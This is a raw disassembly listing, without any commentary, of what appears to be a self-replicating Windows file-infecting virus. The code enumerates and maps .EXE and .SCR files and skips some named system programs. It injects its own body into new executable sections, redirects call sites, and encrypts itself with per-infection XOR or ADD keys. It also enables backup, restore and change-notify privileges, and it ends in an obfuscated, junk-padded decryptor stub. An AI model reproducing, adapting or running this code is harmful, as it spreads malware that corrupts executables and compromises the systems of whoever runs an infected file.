loc_40BFC1:				; CODE XREF: __u_____:0040BFBDj
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40BFC5	proc near		; CODE XREF: sub_40C52F+336p
		push	esi
		push	edi
		cmp	dword ptr [ebp+104300h], 0
		jz	loc_40C1AD
		call	near ptr loc_40BFE5+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_40BFE5:				; CODE XREF: sub_40BFC5+Fp
		add	bh, bh
sub_40BFC5	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		mov	[ebp+104314h], eax
		push	ebx
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_40B4E8
		mov	edx, [ebp+1042F4h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+104318h], eax
		add	eax, [edx+8]
		mov	[ebp+10431Ch], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_40B4E8
		mov	edi, [ebp+1042F4h]
		push	esi
		call	sub_40B4E8
		mov	edx, [ebp+1042F4h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_40C1AD
		jz	loc_40C1AD
		add	esi, [ebp+1042F8h]
		add	esi, [ebp+1042B4h]
; START	OF FUNCTION CHUNK FOR sub_40C17E


loc_40C05F:				; CODE XREF: sub_40C17E+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_40C10A
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	sub_40B4E8
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_40C08D
		cmp	eax, [edi+0Ch]
		jnb	loc_40C1A6
		jmp	short loc_40C099
; ---------------------------------------------------------------------------


loc_40C08D:				; CODE XREF: sub_40C17E-FEj
		cmp	[ebp+1042F4h], edx
		jnz	loc_40C1A6


loc_40C099:				; CODE XREF: sub_40C17E-F3j
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_40C1A6
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_40B4E8
		cmp	[ebp+1042F4h], edi
		jnz	loc_40C1A6
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_40C1A6
		cmp	eax, [edi+8]
		jnb	loc_40C1A6


loc_40C0E2:				; CODE XREF: sub_40C17E+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_40C1BC
		jmp	loc_40C1A6
; ---------------------------------------------------------------------------


loc_40C10A:				; CODE XREF: sub_40C17E-11Cj
		cmp	al, 0FFh
		jnz	loc_40C1A6
		cmp	byte ptr [esi],	15h
		jnz	loc_40C1A6
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_40B4E8
		cmp	[ebp+1042F4h], edi
		jnz	short loc_40C1A6
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_40C153
		cmp	eax, [ebp+10431Ch]
		jb	short loc_40C1BC


loc_40C153:				; CODE XREF: sub_40C17E-35j
		cmp	eax, 70000000h
		jb	short loc_40C191
		call	sub_40C17E
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_40C17D
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_40C198
; ---------------------------------------------------------------------------

locret_40C17D:				; CODE XREF: sub_40C17E-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_40C17E

; =============== S U B	R O U T	I N E =======================================



sub_40C17E	proc near		; CODE XREF: sub_40C17E-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0040C05F SIZE 0000011F BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	sub_40B5EF
		popa


loc_40C191:				; CODE XREF: sub_40C17E-26j
		test	eax, 80000000h
		jnz	short loc_40C1A6


loc_40C198:				; CODE XREF: sub_40C17E-3j
		sub	eax, [edi+0Ch]
		jb	short loc_40C1A6
		cmp	eax, [edi+8]
		jb	loc_40C0E2


loc_40C1A6:				; CODE XREF: sub_40C17E-F9j
					; sub_40C17E-EBj ...
		dec	ecx
		jnz	loc_40C05F


loc_40C1AD:				; CODE XREF: sub_40BFC5+9j
					; __u_____:0040C047j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_40C1FE
; ---------------------------------------------------------------------------


loc_40C1BC:				; CODE XREF: sub_40C17E-7Fj
					; sub_40C17E-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_40C1FE:				; CODE XREF: sub_40C17E+3Cj
		pop	edi
		pop	esi
		retn
sub_40C17E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C201	proc near		; CODE XREF: __u_____:0040C502p

; FUNCTION CHUNK AT 0040C32B SIZE 00000002 BYTES

		push	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jnz	loc_40C32B
		push	eax
		push	esp
		push	28h
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F1Ah]
		test	eax, eax
		pop	edi
		js	loc_40C32B
		call	sub_40A683
		call	near ptr loc_40C23C+5
		push	ebx
		db	65h
		jz	short near ptr unk_40C27A
		imul	ebp, [ebp+53h],	72756365h


loc_40C23C:				; CODE XREF: sub_40C201+2Ap
		imul	esi, [ecx+edi*2+41h], 88B5FF00h
sub_40C201	endp ; sp-analysis failed

		inc	edx
		adc	[eax], al
		call	dword ptr [ebp+103E6Eh]
		mov	[ebp+104290h], eax
		call	near ptr loc_40C270+1
		push	ebx
		db	65h
		push	esp
		popa
		imul	esp, [ebp+4Fh],	77h
		outsb
		db	65h
		jb	short loc_40C2D7
		push	72507069h
		imul	esi, [esi+69h],	6567656Ch


loc_40C270:				; CODE XREF: __u_____:0040C253p
		add	[edi-18h], dl
		sub	eax, ebp
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  13h
		db    0
unk_40C27A	db    0			; CODE XREF: sub_40C201+30j
		db    0
		db  53h	; S
		db  65h	; e
		db  52h	; R
		db  65h	; e
		db  73h	; s
		db  74h	; t
		db  6Fh	; o
		db  72h	; r
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db  0Bh
		db 0E8h	; è
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  12h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  42h	; B
		db  61h	; a
		db  63h	; c
		db  6Bh	; k
		db  75h	; u
		db  70h	; p
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0EEh	; î
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db 0E8h	; è
		db  18h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  43h	; C
		db  68h	; h
		db  61h	; a
		db  6Eh	; n
		db  67h	; g
		db  65h	; e
		db  4Eh	; N
		db  6Fh	; o
		db  74h	; t
		db  69h	; i
		db  66h	; f
		db  79h	; y
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; è
		db 0CBh	; Ë
		db 0E7h	; ç
		db 0FFh
		db 0FFh
		db  50h	; P
		db  54h	; T
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: __u_____:0040C261j
		lea	eax, [ebp+103DCCh]
		push	64h
		push	eax
		push	1
		push	edi
		call	dword ptr [ebp+103F26h]
		mov	[esp], edi
		call	dword ptr [ebp+103E62h]
		sub	al, al
		lea	edi, [ebp+104184h]
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp+103DCCh]
		push	40001h
		push	esp
		push	1
		push	edi
		call	dword ptr [ebp+104290h]
		push	esp
		push	4
		push	edi
		call	dword ptr [ebp+104290h]
		add	esp, 14h
		push	dword ptr [ebp+104288h]
		call	dword ptr [ebp+103E9Eh]
; START	OF FUNCTION CHUNK FOR sub_40C201


loc_40C32B:				; CODE XREF: sub_40C201+Aj
					; sub_40C201+1Fj
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_40C201

; =============== S U B	R O U T	I N E =======================================



sub_40C32D	proc near		; CODE XREF: __u_____:0040C4FBp
					; __u_____:0040C507p ...
		lea	esi, [ebp+104184h]
		push	esi
		call	dword ptr [ebp+103EA2h]
		cmp	eax, 0FFFFFFFFh
		jz	locret_40C3FE
		mov	[ebp+104294h], eax
		push	0
		push	esi
		call	dword ptr [ebp+103EDEh]
		test	eax, eax
		jz	locret_40C3FE
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+103E7Eh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C97F
		mov	[ebp+104298h], eax
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+103EAAh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C973
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EA6h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C973
		mov	[ebp+1042ACh], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E82h]
		test	eax, eax
		jz	loc_40C973
		xor	ecx, ecx
		mov	[ebp+1042B0h], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+103ECAh]
		test	eax, eax
		jz	loc_40C94B
		mov	[ebp+1042B4h], eax

locret_40C3FE:				; CODE XREF: sub_40C32D+10j
					; sub_40C32D+27j ...
		retn
sub_40C32D	endp

; ---------------------------------------------------------------------------


loc_40C3FF:				; CODE XREF: sub_40C52F+188p
					; sub_40C52F+2A0p
		mov	eax, 7327h
		mov	ecx, [ebx+38h]
; ---------------------------------------------------------------------------
		db 0F7h	; ÷
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		and	[ebp+6], dh
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042C0h], eax
		mov	eax, 29CBh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042B8h], eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C444	proc near		; CODE XREF: sub_40C52F:loc_40C5A4p
					; sub_40C52F+1B4p
		movzx	ecx, word ptr [ebx+6]
		stc


loc_40C449:				; CODE XREF: sub_40C444+23j
		jecxz	short locret_40C480
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_40C480
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_40C449
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+1042ACh]

locret_40C480:				; CODE XREF: sub_40C444:loc_40C449j
					; sub_40C444+1Dj ...
		retn
sub_40C444	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C481	proc near		; CODE XREF: __u_____:0040C519p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_40C481	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40C48E:				; CODE XREF: __u_____:0040C4AFj
		mov	ecx, edi
		jmp	short loc_40C49D
; ---------------------------------------------------------------------------
		lea	edi, [ebp+104184h]
		cld


loc_40C499:				; CODE XREF: __u_____:0040C4ABj
		mov	ebx, edi
		xor	ecx, ecx


loc_40C49D:				; CODE XREF: __u_____:0040C490j
					; __u_____:0040C4B3j
		lodsb
		cmp	al, 61h
		jb	short loc_40C4A8
		cmp	al, 7Ah
		ja	short loc_40C4A8
		sub	al, 20h


loc_40C4A8:				; CODE XREF: __u_____:0040C4A0j
					; __u_____:0040C4A4j
		stosb
		cmp	al, 5Ch
		jz	short loc_40C499
		cmp	al, 2Eh
		jz	short loc_40C48E
		cmp	al, 0
		jnz	short loc_40C49D
		jecxz	short locret_40C480
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_40C4CB
		cmp	eax, 524353h
		jnz	locret_40C3FE


loc_40C4CB:				; CODE XREF: __u_____:0040C4BEj
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_40C3FE
		cmp	eax, 4E554357h
		jz	locret_40C3FE
		cmp	eax, 32334357h
		jz	locret_40C3FE
		cmp	eax, 4F545350h
		jz	locret_40C3FE
		xor	ebx, ebx
		call	sub_40C32D
		jnz	short loc_40C512
		call	sub_40C201
		call	sub_40C32D
		jz	locret_40C3FE


loc_40C512:				; CODE XREF: __u_____:0040C500j
		xor	edx, edx
		call	sub_40C52F
		call	sub_40C481
		call	$+5
		pop	ebp
		sub	ebp, 10344Fh
		jmp	loc_40C929

; =============== S U B	R O U T	I N E =======================================



sub_40C52F	proc near		; CODE XREF: __u_____:0040C514p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+1042B4h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_40C929
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_40C929
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_40C929
		test	byte ptr [ebx+5Ch], 2
		jz	loc_40C929
		mov	eax, [ebx+8]
		cmp	eax, 0A0A0A0A0h
		jz	loc_40C929
		cmp	eax, 20202020h
		jz	loc_40C929
		mov	ecx, [ebx+0C8h]
		jecxz	short loc_40C5A4
		push	ecx
		call	sub_40B4E8
		add	ecx, [ebp+1042F8h]
		add	ecx, esi
		and	dword ptr [ecx+40h], 0
		and	dword ptr [ecx+44h], 0


loc_40C5A4:				; CODE XREF: sub_40C52F+5Dj
		call	sub_40C444
		jb	loc_40C929
		and	dword ptr [ebp+1042FCh], 0
		mov	eax, [edx+8]
		mov	ecx, [edx+10h]
		sub	eax, ecx
		jnb	short loc_40C5C4
		xor	eax, eax
		jmp	short loc_40C5C9
; ---------------------------------------------------------------------------


loc_40C5C4:				; CODE XREF: sub_40C52F+8Fj
		add	ecx, eax
		mov	[edx+10h], ecx


loc_40C5C9:				; CODE XREF: sub_40C52F+93j
		mov	[ebp+1042BCh], eax
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	near ptr dword_40AC24+43h
		xor	[ebp+1039BEh], dl
		mov	cl, 20h
		xor	[ebp+1039BFh], dh


loc_40C5EB:				; CODE XREF: sub_40C52F+D5j
		push	20h
		dec	cl
		pop	eax
		js	short loc_40C606
		call	near ptr dword_40AC24+43h
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+1039C0h], edx
		jmp	short loc_40C5EB
; ---------------------------------------------------------------------------


loc_40C606:				; CODE XREF: sub_40C52F+C1j
		test	dword ptr [ebp+1039C0h], 2000000h
		jz	short loc_40C634
		test	dword ptr [ebp+1039C0h], 3
		jnz	short loc_40C62A
		and	dword ptr [ebp+1039C0h], 0F7FFFFFFh
		jmp	short loc_40C634
; ---------------------------------------------------------------------------


loc_40C62A:				; CODE XREF: sub_40C52F+EDj
		or	dword ptr [ebp+1039C0h], 10000000h


loc_40C634:				; CODE XREF: sub_40C52F+E1j
					; sub_40C52F+F9j ...
		push	6
		pop	ecx


loc_40C63A:				; CODE XREF: sub_40C52F+129j
		push	6
		pop	eax
		call	near ptr dword_40AC24+43h
		mov	al, [ebp+1039B8h]
		xchg	al, [edx+ebp+1039B8h]
		mov	[ebp+1039B8h], al
		loop	loc_40C63A
		test	dword ptr [ebp+1039C0h], 8
		jnz	short loc_40C66F
		cmp	byte ptr [ebp+1039BAh],	1
		jz	short loc_40C634


loc_40C66F:				; CODE XREF: sub_40C52F+135j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_40C696
		cmp	byte ptr [ebp+1039B8h],	5
		jz	short loc_40C634
		cmp	byte ptr [ebp+1039B9h],	5
		jz	short loc_40C634
		cmp	byte ptr [ebp+1039BAh],	5
		jz	short loc_40C634


loc_40C696:				; CODE XREF: sub_40C52F+14Aj
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_40C6AB
		cmp	byte ptr [ebp+1039B8h],	2
		ja	short loc_40C634


loc_40C6AB:				; CODE XREF: sub_40C52F+171j
		and	dword ptr [ebp+104300h], 0
		call	loc_40B929
		call	loc_40C3FF
		call	sub_40C932
		mov	ebx, [ebp+1042B8h]
		add	ebx, [ebp+1042BCh]
		call	sub_40C32D
		jz	loc_40C929
		mov	esi, [ebp+1042B4h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_40C444
		jb	loc_40C929
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_40C71F
		mov	[ebp+104304h], edi
		lea	esi, [ebp+1039CCh]
		mov	ecx, [ebp+101069h]
		rep movsb


loc_40C71F:				; CODE XREF: sub_40C52F+1DAj
		push	edi
		mov	ecx, 0A73h
		lea	esi, [ebp+101000h]
		rep movsd
		mov	cl, 0
		jecxz	short loc_40C733
		rep movsb


loc_40C733:				; CODE XREF: sub_40C52F+200j
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	loc_40C7F1
		push	dword ptr [ebx+28h]
		call	sub_40B4E8
		mov	edx, [ebp+1042F4h]
		test	edx, edx
		jz	loc_40C7F1
		mov	esi, [ebp+1042B4h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_40C770
		xor	ecx, ecx


loc_40C770:				; CODE XREF: sub_40C52F+23Dj
		add	esi, [edx+14h]
		cmp	ecx, [ebp+101069h]
		mov	ecx, [ebp+101069h]
		jb	short loc_40C7D7
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+101069h], 0
		and	dword ptr [edi+69h], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+1042C8h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_40C7B0
		neg	dword ptr [eax]


loc_40C7B0:				; CODE XREF: sub_40C52F+27Dj
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+104300h], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_40C7CE
		neg	dword ptr [eax]


loc_40C7CE:				; CODE XREF: sub_40C52F+29Bj
		push	ecx
		call	loc_40C3FF
		pop	ecx
		jmp	short loc_40C7E3
; ---------------------------------------------------------------------------


loc_40C7D7:				; CODE XREF: sub_40C52F+250j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_40C7E3:				; CODE XREF: sub_40C52F+2A6j
		lea	esi, [ebp+1039CCh]
		mov	[ebp+104304h], edi
		rep movsb


loc_40C7F1:				; CODE XREF: sub_40C52F+20Ej
					; sub_40C52F+224j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+137h]
		cmp	dl, [ebp+1039BEh]
		jnz	short loc_40C80A
		imul	edx, 12345678h


loc_40C80A:				; CODE XREF: sub_40C52F+2D3j
		mov	[eax-19h], dx
		call	sub_40A1F4
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		lea	eax, [ecx+5]
		jnz	short loc_40C83C
		mov	[ebp+104300h], ecx
		add	eax, [ebp+101069h]
		and	dword ptr [edi+69h], 0


loc_40C83C:				; CODE XREF: sub_40C52F+2F8j
		sub	eax, [ebx+28h]
		mov	[edi+54h], eax
		test	dword ptr [ebp+103F7Ch], 1
		jz	short loc_40C858
		mov	dword ptr [ebx+8], 0A0A0A0A0h


loc_40C858:				; CODE XREF: sub_40C52F+320j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_40C86B
		push	edx
		call	sub_40BFC5
		pop	edx


loc_40C86B:				; CODE XREF: sub_40C52F+333j
		mov	ecx, [ebp+104300h]
		jecxz	short loc_40C878
		mov	[ebx+28h], ecx
		jmp	short loc_40C885
; ---------------------------------------------------------------------------


loc_40C878:				; CODE XREF: sub_40C52F+342j
		mov	ecx, [ebp+1042FCh]
		jecxz	short loc_40C882
		jmp	short loc_40C885
; ---------------------------------------------------------------------------


loc_40C882:				; CODE XREF: sub_40C52F+34Fj
		mov	ecx, [ebx+28h]


loc_40C885:				; CODE XREF: sub_40C52F+347j
					; sub_40C52F+351j
		test	dword ptr [ebp+1039C0h], 3
		jz	short loc_40C8A5
		mov	eax, [ebp+104304h]
		add	ecx, [ebp+1042ECh]
		add	eax, [ebp+1042E8h]
		add	[eax], ecx


loc_40C8A5:				; CODE XREF: sub_40C52F+360j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+1042B8h]
		cmp	[edx+8], ecx
		jnb	short loc_40C8B6
		mov	[edx+8], ecx


loc_40C8B6:				; CODE XREF: sub_40C52F+382j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+1042C0h]
		push	29CCh
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+1039BEh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	short loc_40C8E7
		add	ecx, [ebp+101069h]


loc_40C8E7:				; CODE XREF: sub_40C52F+3B0j
		mov	dh, 0
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_40C909
		inc	dh
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_40C909
		mov	dh, [ebp+1039BFh]


loc_40C909:				; CODE XREF: sub_40C52F+3C4j
					; sub_40C52F+3D2j
		test	dword ptr [ebp+1039C0h], 4000h
		jnz	short loc_40C920


loc_40C915:				; CODE XREF: sub_40C52F+3EDj
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_40C915
		jmp	short loc_40C929
; ---------------------------------------------------------------------------


loc_40C920:				; CODE XREF: sub_40C52F+3E4j
					; sub_40C52F+3F8j
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_40C920


loc_40C929:				; CODE XREF: __u_____:0040C52Aj
					; sub_40C52F+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_40C52F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C932	proc near		; CODE XREF: sub_40C52F+18Dp
		cmp	dword ptr [ebp+104298h], 0
		jz	locret_40C3FE
		push	dword ptr [ebp+1042B4h]
		call	dword ptr [ebp+103EEEh]


loc_40C94B:				; CODE XREF: sub_40C32D+C5j
		push	dword ptr [ebp+1042B0h]
		call	dword ptr [ebp+103E62h]
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EE2h]


loc_40C973:				; CODE XREF: sub_40C32D+6Bj
					; sub_40C32D+82j ...
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E62h]


loc_40C97F:				; CODE XREF: sub_40C32D+45j
		lea	esi, [ebp+104184h]
		push	dword ptr [ebp+104294h]
		push	esi
		call	dword ptr [ebp+103EDEh]
		and	dword ptr [ebp+104298h], 0
		retn
sub_40C932	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h
		dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 0DB81234h
		dd 6003694Dh, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	104184B5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 36946DFh
		dd 8FB8B1EBh, 0E803694Ch, 1Dh, 0B80020C2h, 30h,	10E8h
		dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch
		dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah
		dd 0E8001039h, 0FFFFE0B3h, 4C261h, 7060203h, 0C92D0501h
		dd 0DD3A4B56h, 0E3D815FFh, 0FF8B006Dh, 125h dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 0ADA07C91h, 7C80h, 0
		dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h,	42C7C80h
		dd 6377C81h, 4B0F7C81h,	0C0587C86h, 0E7EC7C80h,	0ABDE7C80h
		dd 153C7C80h, 0A777C81h, 1C457C81h, 0B6A17C83h,	8FF7C80h
		dd 5DCA7C86h, 11DA7C83h, 2ADE7C81h, 1BA57C81h, 1D777C82h
		dd 0B9057C80h, 0BB767C80h, 9E17C80h, 3DE57C83h,	3F587C86h
		dd 27827C86h, 1CB87C81h, 24427C83h, 0B1C7C80h, 0B9747C81h
		dd 9A517C80h, 0D877C80h, 0D4607C81h, 0D6827C90h, 0D7547C90h
		dd 0D7697C90h, 0D7937C90h, 7C90h, 0DC550000h, 0DCFD7C90h
		dd 0DD907C90h, 0DDBA7C90h, 0DEB67C90h, 0E0457C90h, 0EA327C90h
		dd 30C67C90h, 7C91h, 0F5h dup(0)
		dd offset loc_40A0D4
		dd 1308h dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_41201D
		jmp	short $+2
		nop
		cmc
		nop
		call	sub_4120C2
		mov	ebp, 12FFC0h	; DATA XREF: sub_41201D+6w
					; sub_417059+6w
		cmc
		jmp	loc_412054

; =============== S U B	R O U T	I N E =======================================



sub_41201D	proc near		; CODE XREF: __u_____:00412003p
		push	dword ptr fs:0
		mov	dword ptr ds:loc_412012+1, ebp
		stc
		mov	fs:0, esp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		push	10h
		push	ebx
		push	80000000h
		push	80000000h
		push	4000h
		call	ds:dword_40700C	; LoadLibraryA


loc_412054:				; CODE XREF: __u_____:00412018j
		stc
		sub	eax, eax


loc_412057:				; CODE XREF: sub_41201D+40j
		dec	al
		or	al, al
		jz	short loc_412061
		jnz	short loc_412057
		jmp	short near ptr loc_4120C6+2
; ---------------------------------------------------------------------------


loc_412061:				; CODE XREF: sub_41201D+3Ej
		clc
		jmp	short $+2
		xchg	ebx, ebx
		mov	edx, edx
		stc
		call	sub_412070
		nop
		stc
sub_41201D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412070	proc near		; CODE XREF: sub_41201D+4Cp
		pop	edx
		xchg	ebx, ebx
		nop
		cmc
		clc
		sub	edx, 0FFFFFF9Bh
		mov	esi, 29CCh
		xchg	ebx, ebx
		mov	ebx, 9Ch
		jmp	short $+2
		push	edx
		mov	edx, edx
		xchg	ebx, ebx
		mov	ecx, ecx


loc_412091:				; CODE XREF: sub_412070+3Bj
		mov	al, [edx]
		mov	ecx, ecx
		mov	ecx, ecx
		cld
		stc
		xor	ax, bx
		nop
		cld
		xchg	al, [edx]
		stc
		cld
		add	edx, 1
		dec	esi
		jmp	short $+2
		cmp	esi, 0
		ja	short loc_412091
		pop	edx
		cld
		mov	ebx, [ebp-8]
